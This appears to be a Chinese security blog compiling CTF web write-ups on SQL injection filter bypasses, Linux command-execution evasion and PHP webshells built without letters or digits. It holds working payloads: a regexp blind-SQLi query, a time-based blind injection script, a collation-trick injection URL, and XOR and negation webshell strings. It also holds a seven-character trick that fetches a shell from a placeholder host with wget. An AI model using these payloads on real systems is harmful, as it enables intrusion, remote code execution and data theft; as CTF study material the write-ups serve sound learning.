第三个问题,or被过滤可以使用||来替代,然后>,<,=比较符被过滤,我们可以考虑like,但是like也被过滤了,再仔细看看黑名单,发现了regexp并没被过滤,也就是说我们可以用正则匹配来爆破出密码。发现查询成功就会返回welcome的字样,所以构造如下payload:

1
?user=\&pw=||pw/**/regexp/**/"^1";

通过改变查询值爆破即可得到flag。

参考链接:
整数溢出原理介绍
浅析C语言之uint8_t / uint16_t / uint32_t /uint64_t
2018护网杯-web-writeup

基于SQLite数据库的Web应用程序注入指南

关于命令执行的初步学习

前言

在此之前写了一篇关于getshell的文章,主要是关于一些如何绕过限制的技巧的,这一篇可以理解为上一篇的后续,主要补充一些linux下命令执行的绕过技巧,以及如何通过仅限的长度来构造shell进行执行。

前置知识

现在很多题目都丢在docker中,一般docker环境都是linux,所以学好linux下的命令至关重要。接下来梳理一些常用命令:
wget:在后面接上下载文件的地址,可以将文件下载下来。-C参数可以将文件保存为你所要的文件名。这个命令一般用来下载shell,在无法写入shell的时候可以尝试。
>:定向输出到文件,如果文件不存在,就创建文件;如果文件存在,就将其清空。这个一般用法是通过 echo “内容” >文件名 的格式来将内容写入文件里面,一般是用来写入shell。
;:命令分隔符
…….
其他的命令自行查阅Linux常用命令大全

绕过技巧

一般来说,我们通过网页输入的命令会经过php代码的过滤以及转义处理才进而在服务器中执行,很多过滤操作也是由php代码来完成,所以很多绕过方式也是基于php环境的(例如上一篇的过滤绕过方式)。

命令符

这么说也不太贴切,主要是指`符号被过滤的情况下,具体作用在上一篇应该讲过。如果我们输入的命令被解析为字符串,那么使用这个符号就能让我们的命令被系统认为是命令来执行,所以在过滤了`这个情况下,我们如何使用其他的符号来使得我们的字符串被解析为命令呢?

1
$( 命令 )

这个就可以成功让其解析。

空格绕过

过滤的时候可能会通过过滤空格来阻止命令执行:

通过测试可以看见当在过滤了空格之后cat命令是无法执行的,但是无伤大雅,图中可以看到我们可以通过几种方式来绕过:
<
$IFS$9
${IFS}
$IFS在测试时发现,无法输出任何东西,主要原因是因为$IFS类似一个截断字符,具体原理也不详谈,总而言之就是将{}加入之后就能稳定的让命令执行。
还有一个在php环境下可以替代空格的字符%09,可以在php环境下进行测试。

命令分隔符

命令分隔符简而言之就是链接两个命令的符号,在linux中最为常见的就是;,但是依旧有替代的符号可以在过滤了;的情况下进行命令分隔:

可以看到最为基本的就是;进行分割,测试中发现|和&只能起到执行后者命令的作用,看大手子的文章是说执行了但不回显,具体原理不去深究,在php环境下如下字符也是可以起到命令分隔的作用的:

命令终止符

顾名思义就是终止命令的符号,有%00,%20也就是#的编码。

关键词过滤

这一部分在上一篇文章详细写过了,这里主要再提一些Linux下的绕过操作:

如上图所示,我列出了三种方法,第一种是通过构造几个变量,然后拼接而成;第二种和第一种类似,通过字符串的拼接来绕过关键词过滤;第三种则是编码绕过,最为常见的就是base64,在有其他环境的情况下还可以使用其他的编码,不过值得注意的是需要学会如何在linux下进行解码。

七个字的命令执行

这也是我参考了很多大牛写的有关命令执行的文章中所提到一个最开始研究这方向的原因,题目短小精简,代码如下:

1
2
3
4
5
<?php
if(strlen($_GET[1])<8){
echo shell_exec($_GET[1]);
}
?>

我一开始思路就是要么下一个shell,要么写入一个shell,但是发现这貌似有点行不通,例如当我们需要下载一个shell时,wget xxxx这里是肯定要超过8个字数限制的,然后写入shell这个思路怕是更加不行,我们写入的话必须用echo “xxx”>1,除去xxx单单必要的函数加符号就有8个,所以两种方式都不行。
根据大手子的文章,发现了一个>写入符号的特性,我们可以使用>1来建立一个名为1的文件,但是没有echo的存在是无法写入任何内容的。继续跟着思路走,既然我们可以建立很多文件,那我们有没有可能把文件名一个一个总的写入一个新的文件呢?大手子提到的第二个操作就是ls>a,ls列出所有的文件名然后写入a的新文件中:

但是如图所示写入之后发现有几个问题:第一就是写入的内容是通过ASCII码来进行排序的,也就是说我们这样写必须得时刻注意文件名开头的ASCII码排序,如果在写入shell时要注意这个问题的话太过烦琐了,这个时候就可以用时间排序来进行排列,ls -t排序是把最先创建的文件排在最后:

也就是说我们可以通过ls -t解决排序问题,接着就是没有办法写入<?>这几个符号,也就是说我们没办法写入shell,那只剩一条路了,就是通过写入wget a.cn来下载一个shell了:

但是这时候出现了一个问题,就是我们输入的内容没办法有效的当成命令来执行,这里就需要用到\这个转义符来拼接命令了,在例如ec ho时,我们可以通过转义换行符来拼接成echo这个命令,如下所示:

可以看到我们通过用\转义符替代了;以及成功转义了换行符成功拼接了命令,echo成功输出了1,所以思路出来了,我们构造如下命令就可以写入shell:

1
2
3
4
5
>1.php
>-O\ \\
>cn\ \\
>\ a.\\
>wget\\

参考文章:
浅谈CTF中命令执行与绕过的小技巧
从七个字符长度的任意命令执行到GetShell

HITCON2017-writeup整理

绕过过滤getshell的一些骚操作

前言

最近忙着一些社团的杂事,学习进度一度停滞不前….不知怎么见着其他人的技术越来越高,心中有了一丝无奈以及失望,不知道还能坚持多久下去,咸鱼总是停于安逸之处,强者总能一直前进不止。
借着安恒的题目归纳一下绕过限制getshell的几种策略。

getshell前置内容

在之前的文章讲过了getshell的一些基本内容,重复内容就不讲解了。一般我们通过一些函数来传入命令参数,再通过解析将命令执行最终输出我们想要的结果,具体说一下这些函数的特点:

1
2
3
4
assert():检查一个断言是否为 FALSE,如果是 FALSE 则返回 FALSE,否则是 TRUE。但是这并不是它被利用的原因,在传入一个字符串后,这个字符串会被当做PHP代码来执行,比如我们常用的phpinfo(),file_put_content()等等都能执行。值得注意的是这里不仅仅可以传入字符串,也能传入函数。
eval():把字符串按照 PHP 代码来计算,和上者类似,但是eval()只能传入字符串。
system():执行外部程序,并且显示输出。执行命令把结果返回。
exec():执行命令,如果带有参数,会将结果返回。

然后就是要认识一些基础的linux或者windows下的命令了,具体可以自行百度,后续用到的命令也会粗略提及。

函数被过滤

一般来说,网站会通过过滤shell里常用的一些函数来防止被攻击,常见的过滤手段如下:

1
2
3
<?php 
$iarok[] = str_ireplace(array('unlink','opendir','mysqli_','mysql_','socket_','curl_','base64_','putenv','popen(','phpinfo','pfsockopen','proc_','preg_','_GET','_POST','_COOKIE','_REQUEST','_SESSION','_SERVER','assert','eval(','file_','passthru(','exec(','system(','shell_'), '@.@', $v);
?>

通过将命令执行函数或者一些危险的存在利用点的函数全部用无效符号替换。这种过滤的绕过方式有大致几种,第一种就是通过字符串拼接来绕过,其余可以通过大小写绕过,或者双写绕过,这里的方式可以参考之前XSS过滤的方式。

参考示例

最近接触到的应该是安恒杯9月web1,web1通过利用之前seacms爆出的漏洞而改的,具体示例可以参考seacms最新后台getshell的文章:https://www.anquanke.com/post/id/153402。
在过滤了_GET,_POST以及cookie传参的途径下,通过字符拼接成功构造了payload。参考如下:

1
$GLOBALS["_G"."ET"][$a]($GLOBALS["_G"."ET"][$b]);

我们传入a=system&b=ls,就形成了system(“ls”);,ls命令成功执行最后返回结果。

数字和字母被过滤

这个比上面那个过滤稍微狠一点,拼接字符串是不太可能实现了,具体过滤实现代码如下:

1
2
3
4
<?php
if(!preg_match('/[a-z0-9]/is',$_GET['shell'])) {
eval($_GET['shell']);
}

异或

虽然过滤了数字和字符,但是这并不意味着就没办法构造出字符和数字了,异或以及反取符号都在的情况下,可以通过不可见字符转换为字母,比如以下的几个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
'a' = '=' ^ '\\'
'e' = '@' ^ '%'
'r' = '.' ^ '\\'
't' = '(' ^ '\\'
's' = '/' ^ '\\'
'm' = '-' ^ '@'
'y' = '&' ^ '_'
'E' = '>' ^ '{'
'G' = '<' ^ '{'
'O' = '/' ^ '`'
'P' = '+' ^ '{'
'S' = '(' ^ '{'
'T' = '/' ^ '{'

这些是我测试出来可以构造payload的操作,可以直接拿来用。例如构造以下payload:

1
2
3
?code=$_="_".('<' ^ '{').('>' ^ '{').('/' ^ '{');  //$_="_GET"
${$_}[_](${$_}[__]); //$_GET[_]($_GET[__])
&_=('/' ^ '\\').('&' ^ '_').('/' ^ '\\').('(' ^ '\\').('@' ^ '%').('-' ^ '@') //system($_GET[__])

接着传入命令就行了。
值得注意的是,不仅仅可以用其他可见字符,不可见字符经过url编码进行异或也是可以实现的。

取反(参考了p神的文章)

和上一种方法类似的是取反,例如\x9e取反之后就成了a,各个字符如何通过取反得到可以去测试一下,如下是构造的payload:

1
2
3
?code=${~"\xA0\xB8\xBA\xAB"}[_](${~"\xA0\xB8\xBA\xAB"}[__]); //$_GET[_]($_GET[__])
&_={~"\x8c\x86\x8c\x8b\x9a\x92} //system
&__={~"\x93\x8c"} //ls

此外可以参考p神写的这个payload,他利用了utf8汉字编码提取出类似的编码进行取反:

1
2
3
4
5
6
7
8
9
10
11
<?php
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);

还有一种也是p神想出来的方法,具体操作可以参考他的这篇文章https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

参考示例

这是一道代码审计的题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>40){
die("Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
//$hint = "php function getFlag() to get flag";
?>

让我们不使用字母以及数字来执行getFlag()这个函数,这里就可以参考上面的payload来进行绕过了,payload如下:

1
?code=$_="`{{{" ^ "?<>/";${$_}[_]();&_=getFlag

PS:`代表执行命令,?匹配字符,所以形成_GET字符

数字,字母,$以及_被过滤

这个就比上一个再更加狠一点了,因为我们所要的$被过滤了,也就是说我们无法构造变量了,这里用到了一个很冷门的知识:?><?=是可以直接输出后面的代码的(具体原理参考大师傅们的解释),以及?是通配符这个知识。例如我们使用/???/???可以匹配/bin/cat这个命令。

参考示例

这是安恒杯web2的一部分题目:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include 'flag.php';
if(isset($_GET['code'])){
$code = $_GET['code'];
if(strlen($code)>35){
die("Long.");
}
if(preg_match("/[A-Za-z0-9_$]+/",$code)){
die("NO.");
}
@eval($code);
}else{
highlight_file(__FILE__);
}
?>

再通过操作得出有/flag的前提下,我们可以使用上面的知识,生成以下payload:

1
?code=?><?=`/???/??? /????`;?>

字符长度限制

这就要结合某次丧心病狂的比赛了,里面都是命令执行,这部分在后续会详细写出来……..

solve me 后续

I am slowly


题目和之前的一题一样,是一道注入题。分析题目大致流程是这样:
当我们输入answer时,首先判断数据库是否有表,如果没有的话就会创建一个新的表,有的话会从表中进行语句的查询。如果count等于12,那么就会销毁表中的数据。接着判断语句查询回显是否为answer,如果不为,那么count数+1。
大致流程是这样,不过有个很明显的缺陷就是count === 12一般来说这里完全可以使用>= 12来阻止盲注,这里却是使用===来进行阻止。这里就可以卡着11这个节点让count连续加上两次。我们在连续访问第十一次之后,创建一个sleep(50)的请求,再快速访问一次,快速访问过后count为12,但是之前sleep(50)已经过了count的比较,等sleep(50)回应过后,count就变成了13,接着就能无限次的时间盲注访问了。

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
header = {}#这里是你绕过12次后的header值
flag = ""
for i in range(1,1000):
for j in "abcdefghijklmnopqrstuvwxyz1234567890{}_":
url = "http://iamslowly.thinkout.rf.gd/?answer=' or case when(answer like '%s%%') sleep(30) else sleep(0) end --+"%(flag+j)
try:
r = requests.get(url=url,headers=header,timeout=29)
print "i:",i,"j:",j,r.content[:10]
except:
flag += j
print flag
break

Cheap lottery

这是一道很好的题目,相比之下我宁愿做一道难题也不愿做十道简单的题目,而且最近有些浮躁,一些基础原理回过头没能理会真正的意思。
打开题目是一个购买类似彩票的网站,然后题目要求我们通过购买五个数字,全部正确才能得到flag,按照常理来说,这种概率是很小很小的,所以肯定有其他的方式来获得flag。
一如既往的先去robots.txt看看,发现有个backup,里面有一个sql文件,给我们提示了lottery表的构造,然后就是源码了,废话不多说开始审计,主要梳理一下流程。

这里值得注意的是name的参数是通过guest_加上我们ip地址,这是为了识别我们购买彩票的用户,而且限定了一个IP只能购买一次彩票,有效的阻止了通过爆破来获取flag。然后判断我们是否选择了五个数字,未选满则会让我们选满五个才能进入下一步的操作。

在通过判断一分钟之内我们没买过彩票之后进入这个语句,服务器通过识别用户ip,创建一个名为admin_ip的用户数据,把自己随机生成的五个数一同插入数据库,接着从url中把字母,=,以及[]全部过滤为空,然后把&所连接的几个参数转变为数组的形式。

通过判断间隔时间是否超过一分钟,如果未超时,那么开始从数据库中查找guest_ip以及admin_ip的数据,比对两者的数字是否一致,只有两者五个数字完全一致才能得到flag。
整体看了看流程,能出现的漏洞只有可能是注入以及逻辑漏洞,但是分析流程发现逻辑漏洞存在的可能并不高,数据对接找不到可以利用的点,所以只能是sql注入了,而且在backup中还提示了lottery表的基本构造,所以可以敲定是sql注入,可是注入点在哪里呢?在传参的过程中只有一个是用户可控输入的,那就是lottery,也只能从这里下手,但是服务器在处理参数的时候把字母处理掉了,也就是说在构造guest_ip是不太可能实现的,这该怎么办呢?

利用数据库的字符集转换!!!!!!!!
参考了大师傅的分析文章,发现:

1
2
3
4
5
6
7
1. MySQL Server收到请求时将请求数据从character_set_client转换为character_set_connection;
2. 进行内部操作前将请求数据从character_set_connection转换为内部操作字符集,其确定方法如下:
使用每个数据字段的CHARACTER SET设定值;
• 若上述值不存在,则使用对应数据表的DEFAULT CHARACTER SET设定值(MySQL扩展,非SQL标准);
• 若上述值不存在,则使用对应数据库的DEFAULT CHARACTER SET设定值;
• 若上述值不存在,则使用character_set_server设定值。
3. 将操作结果从内部操作字符集转换为character_set_results。

这题目的转换就是从utf8->utf8->utf8,但是发现好像并没有什么作用,在utf8中我们找不到能替代字母的字符,那也只能继续找能代替字母的字符,参考了离别歌师傅的文章,找到了关键的突破口:utf8和默认collation字符顺序下不同编码字符被认为相等的特性,也就是说我们可以使用à来替代a。在mysql的官方文档中说明了这一点:

接着梳理character set与collation的关系:

1
2
3
mysql 有两个支持 unicode 的 character set:  
ucs2: 使用 16 bits 来表示一个 unicode 字符。
utf8: 使用 1~3 bytes 来表示一个 unicode 字符。

接着本地测试:

发现collation默认的是utf8_general_ci,在此规则下大小写是不敏感的,所以也可以解释为什么admin=AdMin,继续深入。
unicode比对字符串默认顺序如下:

1
2
3
1.alphabetic ordering
2.diacritic ordering
3.case ordering.

在2的变音排序时,导致了上述的*A 和 Â 是一个字母。所以到此为止,结合以上的几个原理,有大师傅通过这些原理测试出了一张比对表,参考如下:
http://collation-charts.org/mysql60/mysql604.utf8_general_ci.european.html
根据比对的结果可以得出:

1
2
admin:%C3%A1%C4%8F%E1%B8%BF%C3%AD%C5%84
guest:%C4%9F%C3%BA%C3%A9%C5%9B%C5%A5

构造payload:

1
2
3
4
5
6
<?php
$ip = "149.28.21.208";
$time = time();
$url = "http://cheaplottery.solveme.peng.kr/index.php?lottery[A]=1'),('%C3%A1%C4%8F%E1%B8%BF%C3%AD%C5%84_$ip','$time','1,2,3,4,5'),('%C4%9F%C3%BA%C3%A9%C5%9B%C5%A5_$ip','$time','1,2,3,4,5')%23&lottery[B]=&lottery[C]=&lottery[D]=&lottery[E]=";
echo $url;
?>

接着在服务器curl一下 http://cheaplottery.solveme.peng.kr/index.php 就行了。

Check via eval


审题,题目要求我们输入flag参数的值,不传参的话就会如图所示有一个神秘连接,其实就是返回当前时间戳的sha1值,由于第一个条件需要这个长度,那先点击进去测试长度发现为49,所以我们需要构造一个长度为49的payload。接着用正则过滤了\,(),[],’,.,flag等等要求我们输入的flag通过eval函数输出等于sha1(flag)的值。
这题目考的是一个关于eval函数的知识:


具体原理可以去看eval函数的源码,这里思路就很明确了,构造?><?=$flag;就行了但是flag被过滤了,这里既然有了eval,那么我们完全可以使用多个语句来构造:

1
2
3
<?=${$a};?>;  
$a='alag';
$a{0}='f'

接着用无关的东西填充就行了。最终payload如下:

1
http://checkviaeval.solveme.peng.kr/?flag=$a='alag';$a{0}='f';?><?=${$a}?>;1111111111111111

本站总访问量